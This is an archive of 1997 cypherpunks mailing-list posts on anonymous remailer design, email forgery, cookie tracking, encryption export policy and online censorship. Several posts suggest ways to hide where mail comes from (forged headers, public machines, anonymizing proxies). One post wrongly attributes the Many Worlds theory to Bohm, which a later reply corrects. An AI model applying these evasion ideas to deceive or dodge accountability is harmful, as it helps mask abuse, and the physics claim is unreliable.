   Incidentally I say "remailer-hater" here, but I should probably use
   a more term "remailer-attacker" or something, there could also
   feasibly be someone who is actually on our side (in a Zen sort of
   way) and trying to get us to face and solve the DoS and operators
   liability issues with technical solutions by demonstrating the
   current weaknesses.


Some of these attacks are interesting for ordinary remailers also.
Perhaps there exist right now normal (non-middleman) remailers which
will send to another remailer in case it is a ping message, and
anything that looks like an attempt to deliver to Raph, but junk the
rest.

Would we know?


Anyway, overall I think the difficulty in checking on exitman
remailers overall probably means that this simplest practical
compromise for mail delivery from exitman remailers is for the last
middle man remailer to send the mail to multiple exitman remailers.

I also think the that the idea of exitman remailers privately
announcing themselves to selected remailers might mean that they last
longer, otherwise remailer haters will contact the admins and cause
hassle even if they can't correlate any particular message came from a
given remailer due to good mail forgery on the part of the exitman
remailer.

And using exitman remailers to post to USENET might be useful at some
point if open access mail2news gateways got scarce.

> When a email is chain-remailed and doesn't get delivered many, but
> not all, senders would simply assume one of the remailers are having
> delivery problems and resend.  Will Raph's approach work to monitor
> decoys when their number and identity are constantly changing?

In theory yes.  Send it via a couple of exitman remailers to make sure
if you like.  However the smart DoS attack described above is much
harder to counter.

> Won't this significantly complicate remailer clients?

Nope.  The client won't need to know.  You're not expected to send
directly to an exitman remailer.  That is something for remailer
operators to use.

You know how middleman operators work...  they always, always send
mail via another remailer and never deliver mail to a user.  (I'm not
sure if they detect this by looking to see if the address is on the
remailer list, or just always add an extra hop?)

So if there are some exitman remailers, a remailer operator that gets
sick of the heat can switch to a new kind of middleman mode, where he
always posts everything through various exitman remailers.  (Or normal
middleman mode, and leave the hassle of installing software to keep up
to date on current exitmen to other exitman-using middleman
remailers).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 15:37:47 +0800
To: cypherpunks@toad.com
Subject: Re: Qualcomm employee attacks the remailers
In-Reply-To: <3.0.16.19691231190000.4a57c97e@pop.netaddress.com>
Message-ID: <k4e4ae40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Casey Iverson <iverson@usa.net> writes:

> At 10:37 PM 8/6/97 EDT, The Anti American, KGB loving  bucket of animal
> dung and human excrement :
>  Dr.Dimitri Vulis KOTM wrote the following, and again the master of
> disinformation and  harassing e-mail, points
> out that others are targeting him for the abuses that he is famous for.

Qualcomm employee Paul Pomes, who harrasses anonymous remailer operators
and complains to their employers and upstreams, deserves no mercy.

> Are we expected to have sympathy for this dick brain?

Pathological liar Paul Pomes deserves no sympathy.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 8 Aug 1997 15:38:56 +0800
To: cypherpunks@toad.com
Subject: Shor's Algorithms: Mad, Bad and Dangerous
Message-ID: <1.5.4.32.19970808011215.00738ee8@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



>From a WSJ nook review today of "The Fabirc of Reality,"
by David Deutsch (Allan lane, 390 pp., $29.95):

  Using something called "Shor's algorithm," a quantum
  computer can factor giant numbers and thereby break
  secret codes that no conventional computer could touch.

  The only way it could do this, Mr Deutsch argues, is by
  distributing its operations over many parallel universes.
  "To those who cling to a single-universe world-view,"
  he writes with evident asperity," I issue the challenge:
  *explain how Shor's algorithms works.*"

  Combining the many-universes notion with quantum probablity,
  and adding elements of Darwinism and Karl Popper's theory
  of knowledge, Mr. Deutsch apsires to nothing less than a
  complete understanding of "the fabric of reality." Arrogant
  in tone and marred by leaps of logic, his book nonetheless
  bristles with subversive insights about virutal reality,
  time travel, mathematical certainty and free will. 
  Intellectually speaking, Mr. Deutsch is mad, bad and 
  dangerous to know.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Fri, 8 Aug 1997 17:10:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Shor's Algorithms: Mad, Bad and Dangerous (fwd)
Message-ID: <199708080232.VAA08939@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 07 Aug 1997 21:12:15 -0400
> From: John Young <jya@pipeline.com>
> Subject: Shor's Algorithms: Mad, Bad and Dangerous

> >From a WSJ nook review today of "The Fabirc of Reality,"
> by David Deutsch (Allan lane, 390 pp., $29.95):
> 
>   Using something called "Shor's algorithm," a quantum
>   computer can factor giant numbers and thereby break
>   secret codes that no conventional computer could touch.
> 
>   The only way it could do this, Mr Deutsch argues, is by
>   distributing its operations over many parallel universes.
>   "To those who cling to a single-universe world-view,"
>   he writes with evident asperity," I issue the challenge:
>   *explain how Shor's algorithms works.*"

The Many Worlds Hypothesis was developed by David Bohm and is an alternate
way of looking at the Uncertaintly Principle, which gets its origin from the
collapse of wave functions used to describe the potential states of a wave.

The advantage of using a Many Worlds Hypothesis is that it allows you to do
away with Bohms, Schroedinger, Einstein, etc. objections to the standard
model, God playing with dice.

>From an existential perspective it is simply another way of viewing the
Hamiltonian of the wave equation. In short the Many World theory says that
all possible outcomes are available in parallel, you only get to experience
one of them. The standard model says the Hamiltonian collapses from its
n-element state to a single valued state at the time of measurement (ie the
system is in no state unless measured). Which was Schroedingers explicit
complaint, in his cat model the question he was asking (that gets dropped
by modern physicist because it is so subversive to the Standard Model) is
"Doesn't the cat know what state it is in?". The implicit (and never stated)
assumption in the Standard Model is that a particle's state is defined by
the particles and their interactions that surround it AND the particle is
comletely unaware of it. Which brings questions like "How does the electron
know to be in the S1 orbital if it doesn't have any way of knowing its
energy state?". This is especialy problematic since a base assumption is
that the only way to effect an electron is through a photon. A good extension
is consider the insanity of the Moon disappearing when you aren't looking
at it. Look at the Moon and the tides appear, look away from the Moon and
the tides go away...

>   Combining the many-universes notion with quantum probablity,

You can't combine them, the whole point of the Many Worlds theory is to
explicity eliminate quantum probability and bring the mechanism into the 
deterministic model used at higher levels of scale (ie Newtonian Mechanics).
The goal is to build a system that is consistent across questions of scale.

>   and adding elements of Darwinism and Karl Popper's theory
>   of knowledge, Mr. Deutsch apsires to nothing less than a
>   complete understanding of "the fabric of reality." Arrogant
>   in tone and marred by leaps of logic, his book nonetheless
>   bristles with subversive insights about virutal reality,
>   time travel, mathematical certainty and free will. 
>   Intellectually speaking, Mr. Deutsch is mad, bad and 
>   dangerous to know.

Sounds like a bunch of wishfull thinking and serious misunderstanding of
Bohm, Schroedinger, etc.'s work.

    ____________________________________________________________________
   |                                                                    |
   |          Participation requires more than just bitching!           |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Fri, 8 Aug 1997 15:57:51 +0800
To: cypherpunks@Algebra.COM
Subject: Commerce/Reinsch: Encryption's in the Federal Spotlight
Message-ID: <3.0.32.19691231160000.00713978@best.com>
MIME-Version: 1.0
Content-Type: text/plain



>Encryption's In The Federal Spotlight
>(08/05/97; 9:00 a.m. EDT)
>By Darryl K. Taft, Computer Reseller News
>
>WASHINGTON -- President Clinton is determined to push electronic
>commerce forward, but when it comes to encryption, some safeguards need
>to remain in place because of law enforcement and national security
>concerns, said William Reinsch, the U.S. Department of Commerce's
>undersecretary for export administration.
>
>Speaking at the National Computer Security Association's (NCSA)
>Electronic Commerce Security conference here, Reinsch reiterated that
>the
>president and U.S. policy favors an electronic marketplace that is not
>regulated by the government.
>
>"It's obvious our policies about encryption is a piece of the large
>puzzle that
>doesn't quite fit our definition of a free market," said Reinsch,
>adding, "The
>increased use of encryption carries with it serious risks for public
>safety and
>our national security. Any policy on encryption must address these risks
>as
>well if it is to be in the national interest. Our policy provides that
>balance by
>working in close consultation with the private sector and by working
>with the
>market, not against it."
>
>William Murray, an executive consultant with Deloitte & Touche,
>disagreed.
>Murray said the present government policy favors security and ease of
>investigation over crime prevention and "the lawless over the law
>abiding. I
>know of no criminals who are worried about the administration's
>policies, but
>my law-abiding clients are."
>
>Murray, who also spoke at the NCSA conference, said he believed the
>government's policy is "sowing so much fear, uncertainty and doubt that
>it is
>the single most incapacitating thing we have to deal with."
>
>Meanwhile, Reinsch outlined several areas where he said he felt the
>administration's policies regarding export control and key management
>are
>making a difference. Reinsch said new regulations creating a license
>exemption that allows recoverable encryption products of any strength
>and
>key length to be exported freely after a single review by the Department
>of
>Commerce, the Department of Justice and the Defense Departments.
>
>To encourage the development of recoverable encryption products, the
>government created a special two-year liberalization period during which
>companies may export 56-bit DES or equivalent products, provided they
>show that they are working to develop the key management infrastructure
>envisioned by the administration, Reinsch said.
>
>Perhaps the best gauge of industry response to the administration
>policies has
>been the flow of applications for exports, Reinsch said. In the seven
>months
>since the policy went into effect, the Commerce department received more
>than 100 license applications for exports, valued at more than $500
>million.
>In addition, Reinsch said 33 companies have submitted plans on how they
>will build key recovery products, and the Commerce department approved
>29 of them with more to come. "None have been rejected," Reinsch said,
>noting that he could only name the companies that have already announced
>their applications, such as Netscape Communications, IBM, Trusted
>Information Systems and Digital Equipment.
>
>Reinsch said the market continues to be confusing because "companies
>might
>say one thing in private with the government and then take a totally
>different
>position publicly." Murray said, "The government does the same thing."
>
>Moreover, Reinsch said industry concerns that foreign availability of
>encryption products appear to be exaggerated. "We do not yet see
>widespread foreign use of encryption," he said. "We've discovered that
>every
>country is going through the same issues we are." 
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 8 Aug 1997 17:43:57 +0800
To: cypherpunks@toad.com
Subject: E-Commerce Report
Message-ID: <1.5.4.32.19970808020729.00746f28@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



7 August 1997, Business Wire:

Businesses will spend $31 billion on Electronic Commerce-related 
software,  hardware, products and services by the  year 2001, 
according to Bill Burnham, senior research analyst at Piper 
Jaffray Inc.

That's one of the conclusions Burnham draws in "The Electronic 
Commerce  Report" released today. The first comprehensive study 
of the rapidly emerging Electronic Commerce industry, Burnham's 
report  outlines how this spending threatens to topple many of 
the existing  structures underpinning the economy.

The 250-page document provides an in-depth examination of five 
separate areas of the Electronic Commerce industry: 

  Internet  Security, 
  Electronic Payments,  
  Financial Software, 
  Business Commerce Software and 
  Commerce Content  (Internet-based retailing).  

The  report includes projections for revenue growth, size of the 
electronic bill payment industry, number of electronic bill 
presentments and the number of commerce-oriented Internet sites.

Some of the report's most significant findings include:

-- Implementation of the Secure Electronic Transaction (SET) 
standard for  Internet credit card transactions may be delayed 
due to  compatibility and  processing problems;

-- Increasing concentration in the electronic payment sector 
will lead to the "death" of the current payment system. The 
Internet increasingly will be used in lieu of payment networks  
currently run by organizations such as Visa, Mastercard and the  
Federal Reserve;

-- An estimated $228 billion in goods and services will be  
bought and paid for over the Internet in 2001. The  consumer-to-
business market will account for $26 billion in  purchases while 
the business-to-business market will account for $202 billion in 
purchases - eight times larger than the consumer  market;

-- The Electronic Data Interchange (EDI) industry faces an 
increasing challenge from a new Internet-based technology called  
Direct Data Internet (DDI). DDI eventually will battle with the 
EDI industry for control of the business-to-business market on the  
Internet;

-- Intelligent Agents -- software programs that automatically  
shop on behalf of consumers -- will eliminate the advantage enjoyed  
by firms with well known consumer brands;

-- Banks and technology firms such as Microsoft and Intuit are  
heading towards a confrontation over the creation of so-called  
"Integrator" sites on the  Internet. These sites are destined to  
become a consumers' gateway to the  Electronic Commerce industry;

-- The Internet security industry will grow from $525 million to  
$2.7 billion in the next five years. However, this industry will  
face constant threats from large technology firms such as Microsoft  
and Cisco Systems, who could  destroy the industry by embedding  
security features into their products.

"Too many people have confined the concept of Electronic Commerce 
to selling trinkets over the Internet," Burnham said.  "But 
Electronic Commerce goes much deeper than that. Over the next few  
years we will witness a series of battles between firms that hang on  
to the traditional ways of doing business and those that embrace and  
capitalize on the rise of Electronic Commerce."

Copies of a six-page summary or the entire 250-page report are 
available upon request. For more information, contact Piper Jaffray  
at (612) 342-5540.

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Fri, 8 Aug 1997 15:40:53 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <199708080147.CAA00946@server.test.net>
Message-ID: <Pine.LNX.3.94.970807215626.2843K-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Adam Back wrote:

> Andy Dustman <andy@CCMSD.chem.uga.edu> writes:
> > 
> > Back to the subject: Disposable remailers. It seems the juno remailer
> > software would be good for this. I'm not sure what the sign-up requirement
> > are, but it's free. I was also thinking about web-based free mail
> > services, such as Hotmail and Rocketmail. Receiving mail means having to
> > parse some HTML, which from the looks of things is do-able but not
> > trivial. Sending mail might be easier to implement.
> 
> Sending mail is your problem alright.  It's where you get hit by
> spammers etc.

Ah, but if you only send through the disposable address, who cares? The
actually remailer address should never get seen (except on remailer lists,
of course). You could probably get away with never reading any incoming
mail, so spammers are not a problem.

> Wasn't there an email forgery web page around for a while.  The idea
> was that you filled in the details of who you wanted to send to, what
> address you wanted it to appear you had sent it from, and paste your
> message in this form box.  It did some kind of crude sendmail forgery
> for you.

Hmmm. Someone has recently been forging mail to appear to be from cracker
through something like this (very bad forgery, headers are all wrong).

> > Which brings up an interesting idea for an exitman/middleman remailer: Use
> > a nym or commercial ISP to receive the mail, use throwaway free mail
> > accounts for delivery (maybe even just plaintext delivery). Hotmail, at
> > least, inserts an X-Originating-IP:  header, though.  
> 
> No problem -- run it through www.anonymizer.com first :-)

Sure, Lance won't mind, right? At least, not if we subscribe... ;) Maybe
we need a network of anonymizing web proxy servers... 

> > I expect others do the same. So put your remailer output on a ZIP
> > disk or floppy and run your delivery on whatever public or
> > semi-public access machine you happen to get your hands on, once or
> > twice a day.
> 
> You'd not want to use the same public access account regularly.

I'm not thinking of an account so much as maybe a PC in a university
computer cluster. Pick one and go. At a big university there should be
several clusters around campus.

> I think the connecting to the web based interface of one of those free
> web gateways via www.anonymizer.com web based interface has potential.

It does, but I know The Anonymizer blocks some sites, at their request.

> How much trouble can you get in with ISPs for forging email?  Do they
> care?

Mindspring cares. My ISP was absorbed by them about two weeks after I
signed up. They say in their terms of service that impersonating someone
else is forbidden, but they specifically allow the use of anonymous
remailers and nicknames. I assume this means forging is frowned upon,
unless you are impersonating someone who doesn't exist, I guess.

Andy Dustman / Computational Center for Molecular Structure and Design / UGA
    To get my PGP public key, send me mail with subject "send file key".
For the ultimate anti-spam procmail recipe, send me mail with subject "spam"
"Encryption is too important to leave to the government."  -- Bruce Schneier
http://www.ilinks.net/~dustman    mailto:andy@CCMSD.chem.uga.edu      <}+++<


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 8 Aug 1997 15:38:02 +0800
To: cypherpunks@toad.com
Subject: Fahrenheit 451.2: Is Cyberspace Burning? -- ACLU on labeling (fwd)
Message-ID: <Pine.GSO.3.95.970807221813.23044I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 7 Aug 1997 22:18:06 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Fahrenheit 451.2: Is Cyberspace Burning? -- ACLU on labeling


----

http://www.aclu.org/issues/cyber/burning.html

                               Cyber-Liberties
                                      
                             Fahrenheit 451.2:
                           Is Cyberspace Burning?
                                      
                     How Rating and Blocking Proposals
                   May Torch Free Speech on the Internet
                                      
     Executive Summary
     Introduction
     Is Cyberspace Burning?
     Free Speech Online: A Victory Under Siege
     Rethinking the Rush to Rate
     Recommendations and Principles
     Six Reasons Why Self-Rating Schemes Are Wrong
     Is Third-Party Rating the Answer?
     The Problems With User-Based Blocking Software in the Home 
     Why Blocking Software Should Not Be Used by Public Libraries
     Conclusion
     Appendix: Internet Ratings Systems  How Do They Work?
     
       ______________________________________________________________
                                      
     Fahrenheit 451.2: Is Cyberspace Burning?
     How Rating and Blocking Proposals May Torch Free Speech on the
     Internet 
     
    Executive Summary
    
     
     In the landmark case Reno v. ACLU, the Supreme Court overturned the
     Communications Decency Act, declaring that the Internet deserves
     the same high level of free speech protection afforded to books and
     other printed matter.
     
     But today, all that we have achieved may now be lost, if not in the
     bright flames of censorship then in the dense smoke of the many
     ratings and blocking schemes promoted by some of the very people
     who fought for freedom.
     
     The ACLU and others in the cyber-liberties community were genuinely
     alarmed by the tenor of a recent White House summit meeting on
     Internet censorship at which industry leaders pledged to create a
     variety of schemes to regulate and block controversial online
     speech.
     
     But it was not any one proposal or announcement that caused our
     alarm; rather, it was the failure to examine the longer-term
     implications for the Internet of rating and blocking schemes.
     
     The White House meeting was clearly the first step away from the
     principle that protection of the electronic word is analogous to
     protection of the printed word. Despite the Supreme Court's strong
     rejection of a broadcast analogy for the Internet, government and
     industry leaders alike are now inching toward the dangerous and
     incorrect position that the Internet is like television, and should
     be rated and censored accordingly.
     
     Is Cyberspace burning? Not yet, perhaps. But where there's smoke,
     there's fire.
     
[...]
     
    Conclusion
    
     The ACLU has always favored providing Internet users, especially
     parents, with more information. We welcomed, for example, the
     American Library Association's announcement at the White House
     summit of The Librarian's Guide to Cyberspace for Parents and Kids,
     a "comprehensive brochure and Web site combining Internet
     terminology, safety tips, site selection advice and more than 50 of
     the most educational and entertaining sites available for children
     on the Internet."
     
     In Reno v. ACLU, we noted that Federal and state governments are
     already vigorously enforcing existing obscenity, child pornography,
     and child solicitation laws on the Internet. In addition, Internet
     users must affirmatively seek out speech on the Internet; no one is
     caught by surprise.
     
     In fact, many speakers on the Net provide preliminary information
     about the nature of their speech. The ACLU's site on America
     Online, for example, has a message on its home page announcing that
     the site is a "free speech zone." Many sites offering commercial
     transactions on the Net contain warnings concerning the security of
     Net information. Sites containing sexually explicit material often
     begin with a statement describing the adult nature of the material.
     Chat rooms and newsgroups have names that describe the subject
     being discussed. Even individual e-mail messages contain a subject
     line.
     
     The preliminary information available on the Internet has several
     important components that distinguish it from all the ratings
     systems discussed above: (1) it is created and provided by the
     speaker; (2) it helps the user decide whether to read any further;
     (3) speakers who choose not to provide such information are not
     penalized; (4) it does not result in the automatic blocking of
     speech by an entity other than the speaker or reader before the
     speech has ever been viewed. Thus, the very nature of the Internet
     reveals why more speech is always a better solution than censorship
     for dealing with speech that someone may find objectionable.
     
     It is not too late for the Internet community to slowly and
     carefully examine these proposals and to reject those that will
     transform the Internet from a true marketplace of ideas into just
     another mainstream, lifeless medium with content no more exciting
     or diverse than that of television.
     
     Civil libertarians, human rights organizations, librarians and
     Internet users, speakers and providers all joined together to
     defeat the CDA. We achieved a stunning victory, establishing a
     legal framework that affords the Internet the highest
     constitutional protection. We put a quick end to a fire that was
     all but visible and threatening. The fire next time may be more
     difficult to detect  and extinguish.
[...]
    Credits
    
     The principal authors of this white paper are Ann Beeson and Chris
     Hansen of the ACLU Legal Department and ACLU Associate Director
     Barry Steinhardt. Additional editorial contributions were provided
     by Marjorie Heins of the Legal Department, and Emily Whitfield of
     the Public Education Department. This report was prepared by the
     ACLU Public Education Department: Loren Siegel, Director; Rozella
     Floranz Kennedy, Editorial Manager; Ronald Cianfaglione, Designer.
     
             Copyright 1997, The American Civil Liberties Union








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 8 Aug 1997 15:35:19 +0800
To: Tim May <tcmay@got.net>
Subject: Postal remailers? (was Re: anti-spam law implies laws againstremailers?)
In-Reply-To: <199708061705.SAA03362@server.test.net>
Message-ID: <v03102801b01061de5c32@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>Nor are delivery services required to "know their customer" or to have
>ironclad proof of where a package originated. (Hell, even the U.S. Postal
>Service allows mail with no valid return address, and this was my
>experience in Europe as well.)

As an aside are there any anonymous postal remailers?  If not, it might be
interesting to set them up.  Maybe you could include a diskette with the
'nested' remailer information now used on Net and ecash payments at each
layer of the 'onion'.  Users would be encouraged to use uniform box
dimensions, wrapping and weight (via liquid 'filler weights) to thwart
traffic analysis.

--Steve

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Fri, 8 Aug 1997 15:36:07 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Shor's Algorithms: Mad, Bad and Dangerous (fwd)
In-Reply-To: <199708080232.VAA08939@einstein.ssz.com>
Message-ID: <v03102800b0106343615a@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:32 PM -0700 8/7/97, Jim Choate wrote:

>The Many Worlds Hypothesis was developed by David Bohm and is an alternate
>way of looking at the Uncertaintly Principle, which gets its origin from the
>collapse of wave functions used to describe the potential states of a wave.

I would give credit to Hugh Everett, a student of John Wheeler's, for
developing this interpreation. In fact, the Many Worlds interpretation is
also called the Everett-Wheeler-Graham Interpretation. This was back in
1956-7.


ObCrypto Significance: Zero, in all worlds of the Multiverse

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 8 Aug 1997 15:35:13 +0800
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: Export Tax vs ITAR as a compromise ...
In-Reply-To: <199708072032.NAA20409@ohio.chromatic.com>
Message-ID: <v03102803b010654929a4@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:10 PM -0700 8/7/97, Marshall Clow wrote:
>If this were in force, and I were someone like, say, PGP,
>I would export a single copy of my program to a confederate
>overseas who would then duplicate it and sell it abroad,
>sending royalty payments back to me.
>
>25% of $50 is um... $12.50.

Once the PGP 5.0 listing have been OCR's and placed on Net, I'd be very
surprised if PGP didn't announce an offshore commercial licensing and
distribution agreement.  PGP may have published their source code, but they
have not ceded their copyrights or use of their trademarks.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Fri, 8 Aug 1997 15:41:19 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Query on cookies
In-Reply-To: <R5u3ae3w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970807232303.2811A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



I believe this is what the folks at Netscape tried to eliminate in 4.0,
which I'm told features four cookie settings. One rejects "third party
cookies."

-Declan


On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

> Declan McCullagh <declan@well.com> writes:
> 
> > Thanks for the help, folks. This is for an article on privacy I was
> > working on, and I found the info I needed. For instance, Netscape's
> > explanation of the protocol left me wondering about whether cookies from
> > acme.com could be requested by competitor.com.
> The answer is YES, although it requires a little work.
> 
> Suppose that you point your browser at http://www.A.com/index.html.
> 
> Suppose that file contains an <img src="http://www.B.com/X.cgi">.
> The CGI file displays a little picture, and also gets or sets a cookie.
> 
> Suppose you next browse http://www.C.com/index.html, and it too
> contains the same <img src...>.  Since the cookie is "owned" by B.com,
> not A.com or C.com, the cgi file can track your movement from A.Com to
> B.Com.
> 
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John Smith" <jsmith58@hotmail.com>
Date: Fri, 8 Aug 1997 15:34:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
Message-ID: <19970808062547.28652.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson writes:
>The second thing, and most important, is that web search engines need 
>to
>index *every* page, and allow the topical/categorization system as a 
>way
>to further limit searchs.  

You can't make the web search engines do that.  It's a free country.

What you can do is to avoid the ones which have policies you don't
like.  If Altavista starts listing only rated sites, you can use a
different search engine.

Realistically, the percentage of rated sites is probably going to
stay low for some time.  The big ones will rate, though.  So the
question will be whether most people are happy with the "top 1%"
sites, or whether they want access to the whole web.

It seems to me that if you are using a search engine, you probably
need access to more than just the big commercial sites.  Rogue
indexes which don't block unrated sites may have an advantage just
in terms of usefulness, even aside from the politics.

"John

______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Fri, 8 Aug 1997 17:49:06 +0800
To: andy@CCMSD.chem.uga.edu
Subject: Re: disposable remailers (was Re: Eternity Uncensorable?)
In-Reply-To: <Pine.LNX.3.94.970807160614.2843G-100000@neptune.chem.uga.edu>
Message-ID: <199708072250.XAA05978@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Andy Dustman <andy@CCMSD.chem.uga.edu> writes:
> On Thu, 7 Aug 1997, Adam Back wrote:
> 
> > You know how middleman operators work...  they always, always send
> > mail via another remailer and never deliver mail to a user.  (I'm not
> > sure if they detect this by looking to see if the address is on the
> > remailer list, or just always add an extra hop?)
> 
> I think by definition a middleman always chains through one or more
> additional remailers. When I ran dustbin, it was a "smart middleman",
> i.e., if the recipient was a known remailer, it wouldn't bother to chain
> (remailers rarely complain), otherwise it would chain through a single
> remailer. 

OK, so as you're the first person to implement a smart middleman I
guess that defines the terminology :-)

middleman
  "always adds another hop through a random remailer"

smart middleman
  "posts through remailer when asked to deliver to anybody other than
   a known remailer"

Wasn't there for a time a hidden middleman.  That is a middleman
remailer who's published address was a nym account on a nymserver?
That'd be a "hidden middleman".

> An even smarter middleman would detect PGP messages and deliver those
> directly to end recipients, since those people are unlikely to complain
> about anonymous mail, and chain if the message was plaintext. The risk
> involved with this type of middleman operation should be rather small.

Yep.

Dimitri suggested on cypherpunks in the last round of discussion of
this sort of thing another variation on that -- that you could deliver
the mail if the person had a PGP public key on the keyservers --
whether the email was encrypted or not.  On the assumption that people
who use PGP would be unlikley to complain of anonymous mail.

He also suggested beefing up keyserver submission checks (there are
none right now) so that you need a replyable address to submit a key,
otherwise the remailer-baiter just posts a key generated with their
"victim's" email address on it prior to sending to them.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 8 Aug 1997 15:36:15 +0800
To: cypherpunks@toad.com
Subject: Re: Query on cookies
In-Reply-To: <Pine.GSO.3.95.970807232303.2811A-100000@cp.pathfinder.com>
Message-ID: <oXN4ae54w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan McCullagh <declan@pathfinder.com> writes:

> I believe this is what the folks at Netscape tried to eliminate in 4.0,
> which I'm told features four cookie settings. One rejects "third party
> cookies."

Blessed are those who believe.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Fri, 8 Aug 1997 16:00:22 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: "Voluntary Censorship" vs. Govt Legislation
In-Reply-To: <19970806141137.51900@bywater.songbird.com>
Message-ID: <Pine.GSO.3.95.970808005214.21218A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 6 Aug 1997, Kent Crispin wrote:

> This is not a good analogy at all.  Have you ever noticed that there
> are "childrens books" sections in the library? In fact, books in
> libraries *do* have ratings -- they just use a different technique
> than stamping it on the book.

Exactly!  Such a system (perhaps patterned after the Dewey Decimal System,
with expansion to handle fiction, news sites, etc or the Library of
Congress system, though I know very little about this system, and it's
probably too complicated to do on the net effectively) would allow you to
search for a site that contained information about "Green Eggs and Ham"
under children, for information about the Dr. Seuss book, and under news
for information about the nasty new genetic disease running through US
farms.  [finctional example, but I think the point got across, hopefully]

Two things need to be prevented to make this a viable solution:  NO
MANDATES from government, though a request for sites that are somewhat
